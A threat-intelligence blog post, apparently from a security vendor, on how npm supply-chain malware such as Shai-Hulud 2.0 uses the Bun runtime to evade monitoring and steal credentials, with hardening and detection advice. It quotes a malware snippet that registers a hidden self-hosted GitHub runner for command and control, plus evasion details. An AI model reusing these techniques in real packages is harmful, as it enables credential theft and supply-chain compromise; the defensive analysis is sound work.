threat_intelligence2685 wordsRead on Arc Codex

Why NPM Malware Keeps Reaching for Bun

The short version A run of npm supply chain campaigns β€” Shai-Hulud 2.0 in November 2025 and a series of smaller successors through 2026 β€” share one technique. A compromised package adds a preinstall script that downloads the Bun JavaScript runtime and uses it to steal credentials. Bun is not the vulnerability. Bun is a self-contained JavaScript runtime that can be downloaded as a binary and can then execute JavaScript programs without using the system's existing Node.js framework or npm installer. A host of well-known organizations use it, and Anthropic now owns it. Bun has a variety of legitimate uses: it’s fast (significantly faster than Node), lightweight, and has lots of functions included. It’s a solid choice for high-performance web servers, serverless functions, and low-latency services. Characteristics that also make it a great choice as part of a malware attack. In addition, attackers switch runtimes because doing so defeats a specific set of defenses: endpoint tooling watches for node processes spawned during npm install , and most Node monitoring attaches through hooks that Bun doesn't honor. The payload runs unobserved rather than observed and permitted. So what can you do about it? Given the potential legitimate use of Bun, simply blocking it is probably not going to work in most environments. What you need to do is prevent the mechanisms that lead to it being installed as part of an NPM malware campaign. What actually helps, in order of leverage: - Disable npm lifecycle scripts with an auditable allowlist - Impose a minimum release age on dependency updates - Block known-malicious versions at install time - Eliminate the long-lived tokens that make a stealer's visit worthwhile - Write detections against process lineage rather than binary name The rest of this blog goes into more depth on what Bun is, why engineers legitimately want it, the properties attackers are exploiting, and how to put each of those controls in place. NPM attacks and Bun On 24 November 2025, a self-replicating worm called Shai-Hulud 2.0 backdoored 796 npm packages across 1,092 versions, together accounting for around 20 million weekly downloads. The infection routine was almost boringly simple: drop two files into a legitimate package, setup_bun.js and bun_environment.js , and add a preinstall script to run them. Five months later, in April 2026, a smaller campaign hit four packages in the SAP development ecosystem β€” mbt , @cap-js/db-service , @cap-js/sqlite , and @cap-js/postgres . Different actor, different scale, same opening move: a preinstall hook that fetches the Bun JavaScript runtime and uses it to execute an 11.6 MB obfuscated credential stealer. Since then, the pattern has recurred often enough that "downloads Bun during install" has become a recognizable signature in its own right, to the point where at least one vendor has published a detection analytic for nothing more specific than a Bun process spawned by npm. It would be easy to read that as a Bun problem. It isn't. Bun is stage two. Stage one is the fact that npm install will happily execute arbitrary code from a stranger before it prints its first line of output, something that has been true for a decade. Still, the runtime choice is deliberate, it's effective, and understanding why attackers keep making it tells you something useful about the state of your own controls. What Bun actually is Bun is a JavaScript runtime written in Zig, built on JavaScriptCore rather than V8. It ships as a single statically-linked binary that replaces your runtime, package manager, bundler, test runner, and TypeScript transpiler in one go. Two properties matter for the rest of this article. First, it installs entirely in userland β€” curl -fsSL https://bun.sh/install | bash drops a binary in ~/.bun/bin , or you can pull a release tarball straight from GitHub: no root, no system package manager, no admin ticket. Second, it's batteries-included to an unusual degree. Bun.$ gives you shell execution as a tagged template literal. Bun.spawnSync handles processes. Bun.gunzipSync handles decompression. fetch is native. TypeScript runs without a build step. bun install is not npm install Here's the part that makes the whole story slightly awkward: Bun's package manager is safer than npm's by default. Bun blocks lifecycle scripts for installed dependencies unless you explicitly permit them. It ships a built-in allowlist covering popular packages that genuinely need a postinstall step, and everything else requires an entry in trustedDependencies or a deliberate bun pm trust . It also supports a minimum release age, so freshly published versions can be held at arm's length. So the runtime being abused as a malware payload host is also, in its package manager guise, one of the more sensible defaults available. (It is not perfect β€” CVE-2026-24910 covers a trusted-dependency spoofing flaw β€” but the default posture is still ahead of npm's.) Attackers aren't using bun install to install arbitrary code; they're using bun the runtime, invoked from an npm preinstall hook to create an execution environment for malware. Why people legitimately use Bun This matters because the tempting response β€” block bun.sh at the proxy and move on β€” is a bad one. You'd be blocking something your engineers have real reasons to want. Bun runs TypeScript with no build configuration. Installs and CI steps are commonly 2–4x faster than the npm equivalent. Cold start times make it attractive for serverless and edge workloads, with teams reporting meaningful reductions in Lambda execution duration after migrating functions. And replacing node plus npm plus tsx plus jest plus esbuild with one binary means less to pin, less to patch, and fewer supply chain relationships of its own. Adoption reflects that. Stripe, Notion, Linear, and Replit have all publicly acknowledged running Bun somewhere in their stack, typically on performance-critical services or as a tooling layer. Anthropic went a step further. In December 2025, they acquired Bun to secure foundational infrastructure for Claude Code. The honest caveat is that Node compatibility is close but not complete, and plenty of shops keep Bun in tooling while staying on Node in production. But "nobody has a legitimate reason to run this" is not a defensible position in 2026. Which brings us to an unfortuane conclusion.:Every property in that list- fast, self-contained, userland, zero-config is exactly what a payload author wants too. Why attackers use it A different process name defeats name-based detection Node is already on the machine. It has to be β€” it just ran the preinstall hook. Downloading a second JavaScript runtime to execute JavaScript is redundant unless the point is the name of the process. That is the point. Endpoint tooling and npm audit hooks watch for child node processes spawned during npm install , because that's where malicious install scripts have historically shown up. A bun process is a different binary, and it walks straight past detections that were only ever looking for one string. Node's instrumentation hooks simply aren't there Most runtime security and monitoring for Node attaches itself through --require or NODE_OPTIONS . It's the standard injection point for agents, policy enforcement, and API instrumentation. Bun doesn't honor that interception path in the same way. So it isn't that the payload is observed and allowed β€” it's that nothing is observing at all. Whatever visibility you'd built into your Node execution path evaporates the moment the process is bun instead. Built-in primitives mean fewer indicators A Node payload that wants to run shell commands, decompress an encrypted blob, and phone home has to reach for child_process , zlib , and an HTTP client. Those are strings, and strings are what scanners match on. Bun hands all of it over as built-ins. Shai-Hulud 2.0 used Bun.$ to register a self-hosted GitHub Actions runner on infected machines: await Bun.$`mkdir -p $HOME/.dev-env/`; await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env").quiet(); await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(os.homedir() + "/.dev-env"); The SAP-ecosystem stealer used Bun.gunzipSync to unpack an AES-256-GCM-encrypted second stage: no suspicious imports, no unusual dependency tree, fewer artifacts to match. Benign download source, benign egress bun.sh and github.com/oven-sh/bun/releases are both high-reputation domains that are almost certainly already permitted by your egress policy. Datadog's IOC list for Shai-Hulud 2.0 includes bun.sh , annotated β€” a little wearily β€” as "legitimate domain." That should tell you how much use the indicator is on its own. Userland, static, musl-friendly and disposable No root required. No dynamic linking to worry about. The SAP campaign's payload explicitly detects musl , because Alpine is the dominant base image in CI, and CI is where the credentials live. Then, once execution completes, the binary is deleted: fs.rmSync(tmpDir, { recursive: true, force: true }); No runtime left on disk for a responder to find. One statically-linked file in, one rmSync out. A tiny first stage hiding an enormous second one The preinstall hook is a handful of unremarkable Node. The payload it fetches is 11.6 MB of obfuscated JavaScript. Cheap to plant, expensive to analyze, and Bun executes it without complaint. The environmental awareness in these payloads is worth noting too. The SAP stealer bails out if the system locale is Russian, checks for 32 distinct CI/CD platforms to decide whether to daemonize or run inline, and in one variant hides behind a prepare hook on an optional dependency that fails "gracefully" β€” so npm install reports success while the payload has already run. What they were actually after Worth being concrete about the stakes. These payloads harvest GitHub and npm tokens from disk, hit the cloud instance metadata service on AWS, Azure and GCP, enumerate AWS Secrets Manager, Azure Key Vault and Google Secret Manager, and pull Vault and Kubernetes credentials. Several download Trufflehog to sweep the filesystem for anything they missed. Shai-Hulud 2.0 exfiltrated to public GitHub repositories, installed a self-hosted runner as a command-and-control channel, used any npm token it found to backdoor up to 100 of the victim's own published packages β€” and, if it could do none of those things, ran shred across the user's home directory. What to do about it Ordered by leverage. Detection matters, but it's fourth on this list for a reason. Don't let it install Nothing downstream matters if the malicious version never lands. Enforce a cooldown period. This is the single highest-value control, and it's badly underused. Set minimumReleaseAge in npm or pnpm, or the equivalent in Renovate and Dependabot, so no version published in the last few days can be installed: # .npmrc min-release-age=3 Every campaign described above was detected and the malicious versions pulled within hours. A three-day quarantine turns a live incident into somebody else's news story. Thirty days is better if your teams can tolerate it. Cooldown periods can also be enforced by tools like the Endor Labs Package Firewall, which also blocks known malware. Use lockfiles and npm ci . No floating ranges resolving fresh in CI, ever. If a build can silently pick up a version nobody reviewed, you don't have a supply chain β€” you have a subscription. Block known-bad versions at install time, not in a report the next morning. This is where a malicious package feed earns its place: Endor Labs maintains malicious package detection that flags compromised versions and can fail the build or block the pull request before the dependency reaches a developer's machine, which is the only point at which blocking is actually useful. Depend on less. Fewer packages, chosen more deliberately, with extra scrutiny on new maintainers and unusual version jumps in anything on the critical path. Remove the execution primitive Every campaign in this article used the same mechanism: an install script. Take it away. # .npmrc ignore-scripts=true Set it organization-wide, and treat it as non-negotiable in CI. Then allowlist the handful of packages that genuinely need to build something β€” @lavamoat/allow-scripts , pnpm's onlyBuiltDependencies , or Bun's trustedDependencies all give you an auditable list instead of a blanket permission. Add a CI check that fails when a dependency update introduces a new install script. That diff is cheap to compute, and it's a genuinely high-signal event. Now the caveats, because this control gets oversold. ignore-scripts does nothing about malicious code that executes on import at runtime. It does nothing about a compromised first-party commit. It can be silently undone by a --foreground-scripts flag or a base image that overrides your config. And prepare hooks on optional dependencies are an easy blind spot. It's the best single line of configuration you can write, and it is not a perimeter. Shrink the blast radius Assume one gets through, because eventually one will. Kill long-lived credentials. Shai-Hulud 2.0's entire propagation mechanism was an npm token sitting in an .npmrc file in a home directory. Move to OIDC and trusted publishing, use short-lived cloud credentials, and never let a developer workstation hold publish rights. Lock down the metadata service from build containers β€” IMDSv2 with a hop limit of 1 β€” and don't grant build roles read access to your secret stores. A credential stealer running in a container with nothing to steal is just an expensive way to waste CI minutes. Use ephemeral runners, apply egress allowlists to build jobs, and explicitly block unauthorized self-hosted runner registration in your GitHub organization. Detect on behavior, not binary name Write the detection against the shape of the attack, not this month's runtime. The high-value signal is process lineage: a package manager process β€” npm , yarn , pnpm , bun β€” spawning an unexpected runtime or downloader during an install. Alerting on bun specifically buys you one campaign. Alerting on "install spawned something that isn't part of a normal install" buys you the class, including the Deno and Go-dropper variants that are coming. Supporting indicators, roughly in order of usefulness: - Identity events, which are frequently the loudest: bursts of public repository creation, new self-hosted runner registrations, npm publish originating outside CI, token use from unfamiliar IPs. - Files: setup_bun.js andbun_environment.js , an unexpected~/.bun directory in a CI image, Trufflehog appearing mid-install. - Network: install-time egress to a runtime distribution host from a build job with no reason to fetch a runtimeβ€”low signal on its own, useful in combination. - Process: short-lived binaries executing from /tmp and deleting themselves. You also need to know what you actually shipped. When the next advisory lands naming forty package versions, the question is whether any of them reached a build, and how fast you can answer. Endor Labs builds a dependency inventory across repositories and CI so that question takes minutes rather than a day of grepping lockfiles. The unglamorous part Write the "rotate everything" runbook before you need it. Then tabletop it, with the scenario being a package you shipped six hours ago was backdoored. Credential rotation under time pressure at 2 am is not the moment to discover that nobody knows who owns the npm organization. What none of this fixes For most use-cases, Bun is a convenience, not a requirement. Every capability the attackers wanted from it β€” an unmonitored process name, built-in shell and crypto primitives, a userland static binary from a reputable domain β€” is available from Deno, from a pkg-compiled binary, from a small Go dropper, or from uv over in the Python ecosystem. Any control that depends on recognizing a specific binary name has a shelf life measured in campaigns. The durable lesson is narrower and less interesting: install-time code execution is the attack surface, and identity β€” tokens, publish rights, cloud credentials β€” is where the damage actually lands. The runtime in the middle is an implementation detail that changes whenever it stops working. Two configuration lines and a credential audit will do more for you this quarter than any amount of runtime-specific detection. Set ignore-scripts=true , set a release age floor (package cooldown), and go find out how many long-lived npm tokens are sitting in home directories across your engineering organization. If you want to see what's already in your dependency tree β€” and whether any of it is on a malicious package list β€” Endor Labs can tell you in an afternoon. What's next? When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:

How it works

Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content β€” general knowledge won't be enough. Score 70+ to count toward your certificate.

Questions are cached β€” you'll always get the same 5 for this article.